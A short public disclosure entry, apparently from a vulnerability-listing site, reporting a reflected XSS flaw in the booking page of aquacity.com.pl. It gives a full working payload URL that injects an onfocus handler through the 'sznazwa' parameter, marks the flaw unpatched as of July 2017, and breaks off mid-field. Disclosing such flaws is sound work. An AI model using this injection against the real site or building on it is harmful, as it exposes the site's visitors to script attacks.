aquacity.com.pl XSS vulnerability

Vulnerable URL: http://www.aquacity.com.pl/rezerwacja-on-line?sznazwa=" autofocus onfocus=alert/XSSPOSED/ xx=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2419639 Google Pageran...